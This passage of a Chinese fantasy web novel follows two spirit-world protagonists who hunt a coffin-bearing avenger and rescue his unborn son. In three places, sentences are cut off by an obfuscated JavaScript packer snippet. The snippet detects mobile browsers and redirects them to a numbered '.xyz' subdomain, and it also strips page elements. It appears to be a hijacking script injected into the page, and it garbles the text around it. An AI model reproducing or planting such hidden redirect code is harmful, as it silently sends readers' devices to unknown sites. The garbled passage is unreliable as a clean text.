“我们走,你来。”聂明月道,他们本就不需要充足睡眠,只是路过此地刚好歇脚。眼下休整完毕,就将山神庙让给背尸人吧。 关临渊与她心意相通,回去取了应龙伞,对男人说:“锅里还有汤,你若不嫌弃的话,就送给你了。” “多谢两位!”男人见两人气度不凡,接受了他们的好意,便不再客套,进入殿内后,小心将棺椁置于山神像下。 乱世之中,每一个努力讨生活的人,值得一碗热汤的慰藉。 - 离开山神庙的两人暂时没了去处,便决定在村旁山下随便找个地方落脚。 那背尸人的棺木盖,不是普通的木材,关临渊一眼就看出,那是一块神兵“板楯蛮”的“板楯”。 路上,关临渊给聂明月讲起了“板楯蛮”的故事。 “巴山地区群山连绵,当地居民因自然条件严酷,物资匮乏,逐渐形成 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14751982|149482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了剽悍勇猛的性格。”他们以木板作盾牌,尤其擅长在山间地形中作战,因此被称为“板楯蛮”。 传说商朝末年,纣王多次进攻“板楯蛮”。“板楯蛮”加入了武王伐纣的队伍,立下赫赫战功。历代史书中都留下了关于“板楯蛮”的记载,被誉为“神兵”。 “十年前,湘鄂川等地有匪人以神兵之名起势,至今还有残余势力。那个背尸人,估计曾经就是个‘板楯蛮’。” 聂明月喜欢听关临渊跟她讲民间轶事,这一夜就依偎在他身旁,在他的讲述中等待天亮。 - 破晓时分,鸡鸣之声陆续响起,村庄渐渐苏醒。他们猜测背尸人已经离开,便准备去山神庙取回锅,归还给农户后继续赶路。 刚走到村中,突然听到悲痛的啜泣声传来。一辆牛车上躺着两名紧闭双眼的虚弱青年,一个老妇人正跪在紧闭的院门外,苦苦哀求着。 “刘神医,求求你,救救我两个儿子吧!”老妇人的身上全是未干的泥渍,一双布鞋上裹满了厚厚的湿土。 “你们白山村瘟疫太重,你赶紧走吧!我治不了!别把疫病传到我家了。”院内传来一名男子的声音。 “求求你……我走了七天才到,求你看我儿子一眼……救救他们……”老妇人悲痛欲绝。 聂明月看向车上两人,面上均罩着一层厚重的黑气,眼看着就要生机全无了。 “是疫尸毒。”关临渊沉声道,让他意外的是,他却没有得到任何和阴鬼有关的感应。 疫尸毒扩散极快,一开始中毒者会被判为伤风,若不及时驱毒,七天之内必死。死者尸体会成为新的毒源,不断扩散开去。 关临渊信步上前,扶起了老妇人。 “我能帮你,跟我们走。”他低声说,顺手捏了个清心法诀,让老妇情绪稳定下来。 老妇抬眼看向关临渊,突如其来的希望让她有些反应不及,直到看到一个貌美的小姐径自去拉牛车,连忙站起来跑过去。 “我来!我来!”她不能让好心人也染上病。 - 牛车行到山神庙外时,那背尸人已经走了。殿中被收拾得干干净净,连烤肉的瓦片都归了原样。 关临渊将车板卸下,与老妇一起将两男子抬至殿内。有村民听到动静,远远站着,好奇地观望。 围观者甚多,关临渊不能随便施法术。聂明月心中有数,先安排老妇人去打一锅井水,点火烧灶。她则走到庙后的林中,采了一把青蒿草。 青蒿本就可以清虚热、截疟,用来做治病幌子非常合适。 关临渊找老妇人要来一块帕子,以热蒿草汁擦拭两人身体。湿帕所到之处,便暗暗以灵力祛除毒气。 老妇人站在旁边,神情焦急,聂明月把她带到一旁,问起两人生病之事。 - 老妇人姓章,家住巴州白山村。一个多月前,村中突发疫病,周边城镇的大夫都束手无策。 章家兄弟在镇上开了一个木匠铺,镇上传来了即将封锁白山村的消息,他们担心老母亲染病,便连夜回村接她。 谁知当他们刚到达村口时,一个身形宽大、长相怪异的黑袍蒙面人,正手持一把利器,挨家挨户闯入,见到染病之人便挥刀而去,将其瞬间杀死。 章家兄弟偷偷赶回家里,接到了章氏,三人行踪被蒙面人发现,兄弟俩本有些身手,与他纠缠了几个回合。对方打不过两人,负伤离开了。 回到镇上后,兄弟俩将此事报告给镇长。镇长随即派人前往查看。等大家赶到时,整个村子已陷入火海。除染病者外,其余人均侥幸逃生。 凶手逃走后没了任何线索,疫病在大火后不再扩散,这事就此不了了之。 谁知道七天前,先是章老大高烧,紧接着章老二也发了病。章氏见过村人发病的经过,知道他们也得了疫病,不敢请大夫上门。 救子心切的老太太连夜架着牛车,将两个儿子搬到车上。她一路寻医问诊,但要么无人能治,要么对方一听是疫病便避如蛇蝎。 好不容易到了此处,已是第七天了,她知道,这是儿子仅剩的最后一天了…… - 讲到这里,章氏已经无泪可流。关临渊擦到了章老二。旁边的章老大突然睁开了眼睛,脆生生喊了一声:“娘。” 章氏和聂明月闻声过去,章老大已经坐了起来,他茫然四顾,不知身在何处。 聂明月知道关临渊给他驱邪完毕,看向仍未苏醒的章老二,他露出来的脖颈之上,有一道淡淡的短墨线痕迹。 她又看向章老大,他的胳膊上也有同样的印记。 聂明月拉拉关临渊的衣角,示意他,关临渊道:“他们不是木匠吗?是不是做工的时候,不小心弹上去的?” 他为他们擦身时注意到了,却未曾多想。 “背尸人,棺材盖上,有墨线阵。”聂明月低声说。 关临渊忙碌的手一顿,扭头缓缓看向聂明月。 52. 未亡人殇 人间行走指南: 【人类明知有终点,仍要倾尽所有。】 - 清晨,一场大雨不期而至,酣畅淋漓的雨水一解夏日暑气。 上午雨停后,先前将章老太拒之门外的刘大夫来了。 他听说有一对男女把病人带到了山神庙,坐在屋里想了半晌,还是背着药箱走出了家门。 他到的时候,章家两个小子正坐在庙门槛上,各自端着碗喝热水。 刘大夫心中惊讶,第一次见到得了疫病的人恢复得这么快。 他走入殿内,关临渊在用剩下的青蒿水洗手。章老太拉着聂明月的手,连声道谢。 刘大夫上前对关临渊说:“哥佬倌儿,我是卫生所的刘医生,借一步说话?”官话里带着极重的本地口音。 关临渊看到他的药箱,没有多问,跟着他走到殿侧的后门外。 - 积雨从瓦檐上往下落,结成几道断线珠链般的水帘,淅淅沥沥。 “我怕你们两个染上疫病,给你们送点药。”刘大夫开门见山地说。 “刘大夫,你为什么不给他们治病?”这番话让关临渊不解。 他不能治,是一回事。挑着人治,那就是另一回事了。 “我不是不给他们看病。整个白山村的人,我都不想治。”刘大夫深深叹了一口气。 “白山就是个土匪窝!当地百姓被他们害惨了。我们村离得远,还能好些。我堂客娘家就在白山附近,和他们有深仇大恨。” - 十二年前,一帮人从深山中出来,打着宋元时期“神兵”后人的名号占据一方,那个地方就是白山村。 这些年间,白山村收容了地痞流氓,逐渐壮大为一支三百余人的队伍。他们画鬼脸、祭鬼神,叫嚣有神仙保佑,肆意骚扰百姓,地方上竟没有军力能与之对抗。 刘大夫的老丈人和舅佬倌(大舅子),因水田被抢和他们起了冲突,舅佬倌当场就被锄头砸死了,老丈人两天后重伤不治身亡。 前段时间,白山村里起了瘟疫。有个身披宽大黑袍的蒙面男人,杀光了染病的人,还将村子烧了,防止了疫病的扩散。 无论是百姓还是官员,无不鼓掌叫好,大呼老天有眼。 “那场火,我们都猜是棺材兽放的。”刘大夫语气中带着解恨之意:“老天爷都看不过去了!把他们全灭了。” - 从古至今,湘鄂川交界的神农架山中,时有山民遇到一种身形似木板的神秘动物。 它们身形高大,有时站立如巨人,有时四足如走兽。通常只在夜里出没,性情温和,见到人会立刻离开。 渐渐地,人们说棺材兽是神农架的灵兽。 章氏兄弟报官的事,刘大夫也听说了。整个白山村仅剩他们两个青壮年,虽在镇上开店当木匠逃过了屠村,但刘大夫对白山人充满忌惮,因此将他们拒之门外。 “哥佬倌儿,按理说嘛,医者仁心,不应该挑选病人。如果我救活了两个恶人,反而给全村带来灾难,这个后果我可担不起。” 关临渊不置可否,却问:“村里最近一次见到棺材兽,是什么时候?” 刘大夫想了一下,答道:“每年都有两三次,上次应该是春节前后。我们村是西南出中原的必经之地,以前莫得官道,野道走的人多了,就踩出一条小路。大部分时候,是在路边的山林里遇到的。有时在水边,有时在树后。” “走夜路的本地人,都晓得棺材兽不会伤人,所以也不得怕。” - 关临渊又问:“你行医治病,有没有见过病人身上有墨线痕迹的?” 刘大夫闻言脸色一变,声音放得更低了:“那是行疫人做的记号,但凡出现,当地肯定会出现大规模疫情。你在哪里看到过?” “行疫人?”关临渊第一次听到这个名字。 “我年轻的时候,曾和师父在成都一带行医。那个时候才听说‘行疫人’。那几年蜀中有几场瘟疫,听说都是他们干的。” “他们走过的地方,街道门户外的围墙上会留下数道墨线弹痕。一道,就是一条命。有人跟他们交谈过,自称‘行疫人’……” “你说的病人身上有墨线,这个我倒不清楚,毕竟都是街巷传闻,我没亲眼见过。我后来学了西医,回了老家开卫生所。” “关于传染病,西医是按病毒感染来治的。我这里西药短缺,一般村民也吃不起西药。所以还是主要以中药治疗为主。” “哥佬倌儿,我看你是用青蒿水治病的。青蒿素确实对症,没想到青蒿水擦身恢复效果这么快……” 到底是个医生,一说到治病的事就停不下来。 - 刘大夫临走前,还是给章氏兄弟留下了一张补气养身的草药方子。 聂明月听了关临渊的转述,对刘大夫前后矛盾的作为有些费解。 关临渊只说了一句:“他是个好医生。” - 两人详细问了章氏兄弟见到的黑袍人模样。当时是深夜,他们也说不清楚,一个说个头极高,一个说肩膀极宽,总之身形异于常人。 问到他们身上的墨线痕迹,他们也不知道是什么时候沾染上的。 章家人确实是当年从山中走出来的山匪之一。但当初颇有地位的章老爷子死后,章氏兄弟凭借自己的手艺,在镇中有了木匠铺子,甚少与恶霸打交道。 章老太大多时候是住在镇上的,这次回村也没有留意过院墙上有无墨线弹痕。 此事终究没问出什么结果。 直到中午,太阳才将泥泞小路稍微晒干,章家三人拉着牛车,走上了回家的路。 - “我们去哪里?”聂明月问关临渊。 “我们得追查背尸人,他棺木上的墨线阵和白山村的火灾都有问题。”关临渊整理思绪,走到庙外,仔细观察门口凌乱的车辙脚印。 “我们早上是从西面回来的,没有遇到背尸人。”他看着石阶上一道新擦痕,那是棺木置于上面留下的痕迹。 清晨露水重,泥土湿润,又下了大雨,正好将那串比常人更深的脚印留了下来。 他最后道:“他往东边去了,现在出发,天黑前应该能追得上。” - 夜里,在靠近湘西方向的山中,聂明月先是听到了一声脆铃之音,接着前方就出现了一个缓步而行的背影。 聂明月疾步而上,拦下了背尸人。 月色之下,男人的表情诧异,似乎没反应过来,怎么今晚又见到了她? “姑娘,你?”他问。 关临渊看向他背后棺木上的“奠”字,白色大字在黑夜之中清晰可辨。但他并没有看到聂明月所说的墨线法阵。 “墨线阵。”聂明月先说出口。 背尸人闻言退后两步,警觉地问道:“你们到底是什么人?” 关临渊不答反问,手中獬豸尺微转:”白山村大火,三百条人命,是你干的吧?" 此言一出,背尸人脸色骤然狰狞,从背后的棺木下抽出一把七尺大刀,刀刃上隐隐环绕着尸毒之气:“老子既然敢做,就不怕你们阴使索命!” 他厉喝一声,挥刀向最近的聂明月砍去。 - 刀光森寒,聂明月抬起手中的应龙伞相抵,相撞间金戈交鸣。关临渊趁势欺身而上,獬豸尺横空击向背尸人腰际。 山道狭窄蜿蜒,背尸人却在窘境中展露出惊人身手。他脚踏奇诡步法,硬是在寸步难行之处扭转身形,长刀借势反砍,刀锋上缭绕的尸毒宛如毒蛇吐信,直取关临渊面门。 千钧一发之际,应龙伞在聂明月手中骤然绽开,将那缭绕的尸毒尽数逼退。 背尸人不进反退,急速后撤几步,将棺材稳稳托在山石之上。即便被两人合击,他也没有要放下棺木的迹象。 聂明月心中警觉:他似乎在保护棺木,那里面有什么蹊跷? 他留意到聂明月的目光停在棺木上,冷哼一声,再次咬牙提刀砍向聂明月,刀势未尽,身形陡然一转,棺木突然转向横斜,棺角裹挟着凌厉劲风撞向她的要害。 关临渊将聂明月向一侧拉开,躲开了棺材的撞击,同时尺光如匹练般劈向背尸人肩头。 “砰!” 这一击正中目标!背尸人踉跄后退,聂明月抓住稍纵即逝的机会,应龙伞在月色下划出一道凄厉弧光,深深刺入背尸人心口。 背尸人手捂胸口,长刀“铛啷”一声落地。 此时关临渊已经绕身到棺木前,先以尺挑断棺木上的背绳,随后一脚将其踢离了背尸人的身体。 “不!” 背尸人发出一声绝望的嘶吼,重创之下仍欲向棺材扑去。 然而为时已晚,随着地上的棺木盖滑落,一只苍白的手从棺材中伸了出来…… - 山间吹起一阵微风,背尸人腰间的铜铃发出声声脆响。 棺盖猛地被推开,女尸从中腾起,冲着铃声来处扑了过去。 “云秋!”背尸人大叫,她充耳不闻,利爪瞬间抓破了他的胸膛,鲜红的血从她指缝中流出,手腕上依稀可见墨线般的细密纹路。 她抽出染血的手,指尖一挥,一道墨线直取聂明月。 聂明月侧身向前,抓住女尸手腕,用力一掰,“咔擦”一声,将手腕生生折断。云秋浑然不觉痛楚,径直扑向关临渊。 关临渊反应极快,獬豸尺化出尺影重重,将她控在其中。她即便无法移动,还是转身冲着聂明月张牙舞爪。 她竟是见到活人就杀,完全无差别攻击。 聂明月不耐再战,捏手为拳,聚力朝女尸身体砸去。 就当她马上就要碰到女尸胸腹时,突然一顿,强行收回了攻势。可拳头未到,拳风却已至,女尸身体还是在猛烈冲击下向后抛去,重重砸在了山石之上。 “怎么了?”关临渊察觉到她瞬间迟疑收手,顺着她的目光看过去,女尸蜷着身体,腹部却高高隆起,那是…… “她怀孕了。”聂明月喃喃说。 - “别伤害她!别杀她!求你……”背尸人自身难保,却还是踉跄着奔到云秋身边。她全身骨骼已被聂明月的拳风震碎,瘫软在地再也无法起身。 关临渊冷冷道:“你把恶行交待清楚,我可以给你们个痛快。” 背尸人用尽最后一丝力气,将妻子抱在怀中,瘫坐在地。 他两处伤口均在要害,若不是关临渊及时给他续了一口气,他在被女尸穿破胸膛时已经身亡了。 他也知道自己无力回天,眼中露出绝望之意,却又言辞恳切地说:“求你们……我什么都说……别杀她……” - 背尸人名叫方策,是板楯蛮的巫师之后。如今板楯蛮一族大部分生活在川东北一带,除了祖上流传下来的传说,早就断了传承,并无其他特别之处。 在几千年前的部族中,板楯蛮确实有巫师擅长御兽,以线阵驯化山中野兽,驱使它们参与到部落征战中。族人用阴沉木为盾牌、木弓为武器,加上灵兽参战,这才有了神兵的传说。 后来因部族分裂,仅有巫师一脉隐居山中,传到方策 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14774218|149482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这里,已是二十多代了。 方策自幼与山中灵兽一起长大,心思纯善。他们一直以背尸人为生,在棺材兽的辅助下,行走于湘鄂川三省交界的大巴山中。 十五年前,少年方策下山偶遇同族,对方邀请他一起重振板楯蛮之名。 方策见他们对墨线阵一知半解,甚至在民间装神弄鬼多年,先派出几人寻找大富之家,以墨线为标记后传播疫病。又换一拨人寻墨线上门治病,行招摇撞骗一事。 “墨线阵,只能驱妖灵鬼魂,不能用在活人身上。”方策不愿意与之同流合污,婉言谢绝。 - 两年前,他受镖局大小姐云秋的委托,送她病死异乡的父亲尸体回湘西老家。两人一路上相携陪伴,一年后结为夫妻,相爱甚笃。 九个月前,云秋有了身孕,他打算背完最后一次尸,就陪云秋待产。没想到,大年三十他赶回家,云秋却没了踪影。 方策心急如焚之际,当年那批族人找上门来,声称云秋在他们手中,除非方策交出巫师炼阴兵的秘术,才放云秋回来。 “哪有……什么秘术……”方策紧紧抱住怀中妻子的尸体,苦笑着:“他们居然想以活人炼阴兵,在乱世中造反……” - 方策寻到白山村,打听到曾有一外地女子被抓到村中,几日后便被折磨得非人非鬼,死后扔到了乱葬岗草草埋了。 方策从土中挖出妻子时,她的尸身依然鲜活如生,手腕上赫然有数道墨线残阵。对方竟然以孕妇为试验品,将她活生生害死。 他悲痛欲绝之时,却发现云秋身上并非普通疫毒,还带着邪魔气息。若是入土安葬,毒气必会四处漫延。 无论如何,他也要将爱妻的尸体送回故乡! 妻子与未出生孩儿的死,让他燃起了复仇的血性。但他并不想祸及无辜妇孺,暗中探访村中人的恶行,将罪该万死的人都种上了云秋的尸毒。 他还发现,那魔尸毒不知使了什么方子,中毒者身上均会出现一条墨线。墨线褪尽须七日,七日之后,此人必亡。 这也是他当日与章家兄弟交手后,发现他们并没有墨线,才放他们离开的原因。 - “你当日在白山村大开杀戒,刀上沾染的尸毒已然入骨。章家兄弟还是被你害得差点丧命!” 关临渊说出今日之事,方策听后却没有任何表情。 “章家兄弟无辜,我的妻儿就不无辜吗?”他悲伤地抚着云秋惨白的脸。 云秋喉咙中发出低低的嘶吼声,多次想挣扎站起来,却无能为力。 “如果没有,遇到我们,你待如何?”聂明月问。 方策凄然一笑:“我能如何?仇是报了,可是云秋……” 他本打算大仇得报后送云秋回乡,守着她的坟墓孤老一生。可半路上棺中传出动静,他欣喜若狂打开盖子,却看到了爱人不人不鬼的模样…… 为了避免云秋现身伤人,他最后只能亲手绘制墨线阵,将她封于棺木之中…… - “我昨天在山神庙……遇到你们两位赠一锅热汤……你们是好人……”方策是目送着两人离开的。 这一对相爱中的男女,如玉如璧,琴瑟和鸣,让人好生羡慕。 他就想着,要不以后就一直背着云秋,在深山中独自生活下去吧。 方策低声说:“我知道我活不久了,这是我杀人的报应……你们不是普通人,能不能救救云秋?” 他似乎知道这不过是临死前的妄想,却仍茫然说出了最后的心愿。 “救不了。”聂明月感知到云秋只是一具空壳,控制她行动的是魔气尸毒,她早就已经死了:“但是,你的孩子,还活着。” 尸毒附着在经脉之上,魔气维持她肉身不腐。 云秋还在给体内的孩子提供着微弱的生机…… 方策闻言,已无力再开口,只能用恳求的目光望向聂明月。 聂明月走到云秋身前蹲了下来。 - “不行!”关临渊上前制止她:“明月,你不能这么做?” 聂明月抬头,不解地看着他。 “云秋和方策的死后亡魂,自有定夺。但这胎儿尚未出生,早夭是他前世因果所定,你不可横加干预……”关临渊道。 “况且,你也救不活他。我观云秋已经毒入脏腑,孩子即便出来,也活不了。要么就是和云秋一样的阴尸之体……你这么做,反而是害了他。” 聂明月犹豫了一下,又将手伸到云秋肚子上:“万一……能活……” “不可!”关临渊还要再说,聂明月抛出应龙伞,伞面绽出金色光芒,在关临渊面前立起一道灵力充沛的风墙,把他隔绝在十尺之外。 - 关临渊不愿意出手破风墙,那样聂明月的内腑也会受伤。他焦急地拍打着墙面,嘴里还说着什么,聂明月却是一句也听不清了。 “你强行改变胎儿命运,会受到天命反噬!明月……你快停手……”关临渊的声音被淹没在呼啸风声中。 直到他看到,聂明月不知道从哪里招出一把赤色短剑,划开了云秋的肚腹,从里面托出一个浑身乌紫的男婴来…… - 胜邪剑。 关临渊愣住了。 为什么聂明月会有胜邪剑? 陵光城的记忆不是已经被抹去了吗? 那把剑不是应该在滕玉手里吗? 为什么…… 难道她,并没有忘记邪剑幻境中的事? 难道这三个多月,她一直在配合他演戏? 53. 青山如是 人间行走指南: 【有些分离,是为了下一次的拥抱。】 - 闪电撕碎集结的乌云,雷鸣在云层中滚动,应龙伞依然在地面旋转,卷起的风墙将关临渊困在了咫尺之外。 暴雨滂沱而至,夜里的山间响起了呼呼啸音。那声音太过尖锐刺耳,惊醒了丛林洞穴中的野兽,万物生灵不安地躁动着。 大雨打在烟尘陡乱的土路上,浇熄了关临渊焦急纷杂的心。 聂明月全身湿透,长发像水草般在风中摇曳。她脱下外袍,冷静而生疏地将孩子裹入衣内,又撕下袍子的一角,盖在孩子脸上。 关临渊顾不得拭去脸上的雨水,他眼睁睁看着聂明月收起胜邪剑,眼睁睁看着她唤出那孩子单薄的魂魄,拘在自己灵台内,以自身灵力滋养着残喘的魔尸后人…… 数十道闪电接踵而至,瞬间照亮了整个夜空,做完这一切的聂明月抱着孩子,终于看向关临渊。 - 从聂明月决定要将那孩子带到世间的一刻起,闪电惊雷持续不断,像是天命法则燃起了雷霆之怒,一次又一次泄愤于人间。 他什么都不能做,他只能呆呆站在大雨中。 他觉得这几个月的自己太过可笑,就是个呆子。 - 聂明月拾起了应龙伞,收起风墙。她走到关临渊面前,将伞撑到他的头顶。 她张嘴说了句什么,那句话却被淹没在响彻山间的雷声中。 关临渊本能地后退了一步,走出伞外。雨水落在他通红的眼睛里,又酸又疼。 聂明月向前走了一步,再次将伞撑在两人之间。 关临渊满眼失望与懊悔,摇了摇头,再次退出伞外。 聂明月知道他此时不能原谅她的所为,将伞柄抵在山壁上,收起了应龙伞。 应龙伞收,雨水骤停。 但电闪雷鸣依旧持续着,羊肠小道亮如白昼。 - 关临渊大声问:“你还跟我回阴冥川吗?”那是他最后的希望,也是他最大的愿望。 聂明月摇头,随即说:“我先救他,你……等我,或者,先和我北上,回北港?” 关临渊凄凄一笑,她根本不懂,他想带她回阴冥川,对他们来说意味着什么。 她或许,根本就没有在意过吧?就像那把不该出现在这里的胜邪剑,还有几个月的佯装失忆,对陵光城的绝口不提…… 她依偎在他身边,是假的。 她投向他的温柔目光,是假的。 她静静聆听他诉说往事,是假的。 那些生死与共、甜蜜过往,都是假的。 …… “关临渊,跟我去北方?”她依然问,对他此刻脸上陌生的笑意和愤怒不解。 “聂明月!你知不知道你会受到天命惩罚?”雷声太大,他不得不大声喊着。 她逆天改命,强行拘魔尸血脉魂魄,视天道法则不顾,视阴冥司不存在,她所做的一切,将会受到无尽反噬,痛苦终生。 他恨不得背负她的一切痛楚,甚至背叛信念抹去她的前尘记忆,就是怕她终有一天回到幻境中那只妖的模样。 “你不是……一直听将军的话,想成为一个人吗?”事已至此,他只能搬出将军来。 一切都来不及了,聂明月回不了头了。可他却是那个唯一的执法者,他做不到,也不能做。 - “可是关临渊,天命是什么?”她问。 “方策失去家人,就是天命吗?” “云秋成为魔尸,就是天命吗?” “这个孩子……”她看向怀中婴儿:“还未出生,就身中魔毒,这,就是天命吗?” 他们分明是被那些人强行改变了人生,这都是天命决定的吗? “若这便是天命,我不服。”她眼神中没有丝毫犹疑,只有倔强与坚定。 “让我试试,关临渊,就这一次……”她看向他,语气带着决绝:“天命不理,我来理。” “要是我救不了,这也是我的命,不是天命!” - “关临渊,跟我去北方?”她又问了一次。 关临渊心如死灰。她做出了她的选择,他也该做他的决定。 “聂明月,我不会跟你去北方。如果你今天走了,我关临渊,此生不入北地!” 他不是想威胁她,只是想让她不要以一己之力,对抗未知的命运。现在,又搭上了这个孩子的命运。 聂明月的眼神黯淡下来,缓缓道:“时间紧迫,我先走了,方策和云秋……后事交给你了……” 她转身走到奄奄一息的方策面前,蹲下身来,揭开遮挡风雨的布片,让他看到孩子的脸:“是个男孩。我会尽力。” 方策强撑着最后一口气,终于等来了她这句话。他看着襁褓中的孩子,紧紧抱着云秋的尸身,嘴角挤出笑意:“……愿你……一生顺遂……” 聂明月合上了方策闭不上的双眼,招出胜邪剑置于躁动着的云秋额间,丝丝缕缕的魔气尸毒从她身体抽离出来,被吸入剑中。 胜邪剑灵,以吸食邪灵为生。 直到最后一丝黑气消失,云秋终于停止了挣扎,安静地躺在丈夫怀里。 - 关临渊冷冷看着她做的一切。 聂明月站起身来,头也不回,只留下一句:“你既不入北地,我便不进南域。” 她抱着孩子,湿透的白色素衣贴在纤瘦的身体上,露出单薄的肩胛,像一只被雨水淋湿翅膀的蝴蝶,倔强又孤单的身影消失在山间小路中。 - 随着聂明月的离开,撕裂群山的电闪雷鸣终于停了。 林子里传来细碎的动静,那是风平浪静后动物们回巢的声音。 关临渊一直原地站着,看着聂明月离去的方向。 天光微亮时,小路尽头出现一个身影,那是一只身形宽如木板的四足野兽,兽蹄踩在泥泞路上,悄无声息。 它走到方策尸体面前,发出一声悲戚地嘶鸣。又看向关临渊,眼神中竟带着祈求。 关临渊走过去,将方策与云秋的尸体置于它平坦的背部。它低下头,似在感谢他的帮助。 随后,它驮着两人的尸身,向他们当初来的方向走去。 它要带一起长大的伙伴和他的爱人,回到他出生的地方。 背尸千里,魂归故乡。 - 一个月后,唐槐和阿金接到陆靖鸣电话,匆匆从上海赶回了京城家中。 “出大事了,聂小姐几天前带了个将死的孩子回来。”马鹿子一着急,红胡子更红了。 “孩子?”唐槐甚为吃惊,电话中陆靖鸣只说阿姐回来了,让他赶紧回去,并没有提到这事。 “多大的孩子?”他问,他当年也是被阿姐捡到的,以为她救了谁家小孩。 “我看那样子,刚满月。”马鹿子说。 “聂小姐人呢?”阿金四下张望,并没有看到聂明月在家。聂小姐和关大人去江南捉妖,一去就是九个月,那位大人怎么没一起回来? “阿姐带孩子到明堂闭关了。”陆靖鸣道,他是来京城等皮天禄的,没想到刚到聂府,就遇见了抱着婴儿的聂明月。 聂明月当时只让他把马鹿子从北港叫回来:“来不及了,让他最快速度。” - 聂明月本是想直接回北港的,但是那孩子的身体出现败坏迹象,她走走停停,一路想尽办法想保住孩子的命,但又顾及他不能承受明堂之力,无法全力救治,只得转道先到京城。 马鹿子到了以后,一看到那孩子,大惊失色:“半魔半尸,怎么会这样?”他第一次见到如此骇人的情况,婴儿身体内既有先天尸毒魔气,又有纯净灵力。几股力道互相对峙,他小小孩儿怎么能坚持到现在? “怎么救?”聂明月问。 “您……想让我怎么救?”马鹿子观察聂明月神色,暗自揣测孩子的来历。 聂明月瞥了他一眼,他立马收回眼神,详细解释道:“抽出魔气,他可成妖。抽出尸气,他即是魔。” “我要他,做个普通人。”聂明月道。 “那不可能!”马鹿子连连摇头:“哪个刚出生的普通孩子,能经历这般磨难……”此话一出,他就后悔了。万一这是聂小姐的孩子,可就得罪大了。 聂明月却说:“我有明堂。” “明堂也不行啊!明堂灵气太足,他进去就会魔气尸毒尽散,马上没命。”马鹿子脑子里转了千百个念头:“倒是……” “快说。”她估计马鹿子又想夹带私货,赚点好处。此刻却不是可以讨价还价的时候。 “聂小姐,明堂所在的须弥山中,可有灵草?”他还没进去过呢,本来早就可以进去了。 “草药性情温和,又带着明堂灵气,若找到对症的,或许可以一试。” 聂明月回忆了一下,须弥山青山绵延,山下遍地花开,她倒不知道哪个对症的了。她心念一转,马鹿子就没了踪影。 - 上一秒还在聂家书房,下一秒就身处神山之下,马鹿子愕然之间,听到天空中传来聂明月的声音:“抓紧时间。” 他马上反应过来,这是被聂明月拽到灵台内了。他一边惶然于聂明月的强大,一边沿着须弥山走着,山脚水畔袅袅有轻雾,处处如仙境。 他不是个不分轻重的人,深知救那孩子的命最重要,终于在一大片灵植之中,找到一株开着紫色小花的细长植物。 那灵草即将化灵,精华聚在花朵之中,反倒是草叶,仅有淡淡灵气,刚好适合新生儿服用。 “我找到了!这是生了灵的远志!”他兴奋地大叫,明堂啊,到处都是宝! 那株远志刚被拔出,他就回到了书房。聂明月竟是一刻都等不了。 “聂小姐,以这灵草炼丹,让孩子吞服即可……”他说出用法:“哎不对,他太小,吞不了。得鞣成草浆,汁水喝下……” “走!”聂明月抱着孩子就进了厨房。 - 灵草是用来祛除尸毒的,但那孩儿魔气入骨,却需要聂明月亲手拔除。 马鹿子虽看起来胸有成竹,心里极为忐忑。人类寿命是天注定的,那都是有因果循环的,即便聂明月拉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14784331|149482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回了他的命,也活不了多长。 但此话,他却不敢讲。 最后,在马鹿子的帮助下,聂明月带孩子进了须弥山的洞府中。 “此刻正在闭关呢。”马鹿子对唐槐说。 唐槐听完他的讲述,松了一口气。阿姐似乎没有大碍,不过那孩子…… 陆靖鸣却给唐槐使了个眼色,示意他借一步说话。 - 偏厅内再无第三人,陆靖鸣向唐槐施了个礼。 “大哥,你知道那孩子是什么来历吗?”他此时已是个修士,容颜停止了变老,大概三十五岁模样,这些年的历练让他更加沉着稳重,是个事业有成的大商人。 唐槐皱眉,他所知的一切,都是阿金和马鹿子告诉他的。但阿姐和那位阴冥司大人恋爱的事,他却不能先对陆靖鸣说。 毕竟两个人一起去江南,结果阿姐一个人带着个刚出生的孩子回来了。他们之间到底发生了什么事,他还需要问过阿姐后才知道。 “我此次北上,其实还有一件事,在这当口,也不知道该不该提。”陆靖鸣犹豫着。 唐槐拍拍陆靖鸣的肩:“我们兄弟之间,有什么不能说的?” 陆靖鸣鼓足了勇气:“我其实,一直心慕于阿姐……”此话刚出,唐槐神色微变,但也没说什么,等着他说完。 “我想了很多年,也知道我不配。所以这些年来,我一直努力提升修为,就想着有朝一日,能像大哥一样,站在阿姐身边……” 陆靖鸣看着唐槐,他已经四十多岁了,多年奔波让他额间有了皱纹,鬓角露出了白色发根。 “大哥,这些年你我都很忙,我们没有机会见面。这件事我必须当面跟你提。如果大哥同意,我再去跟阿姐表明心意……”他神情诚恳地说。 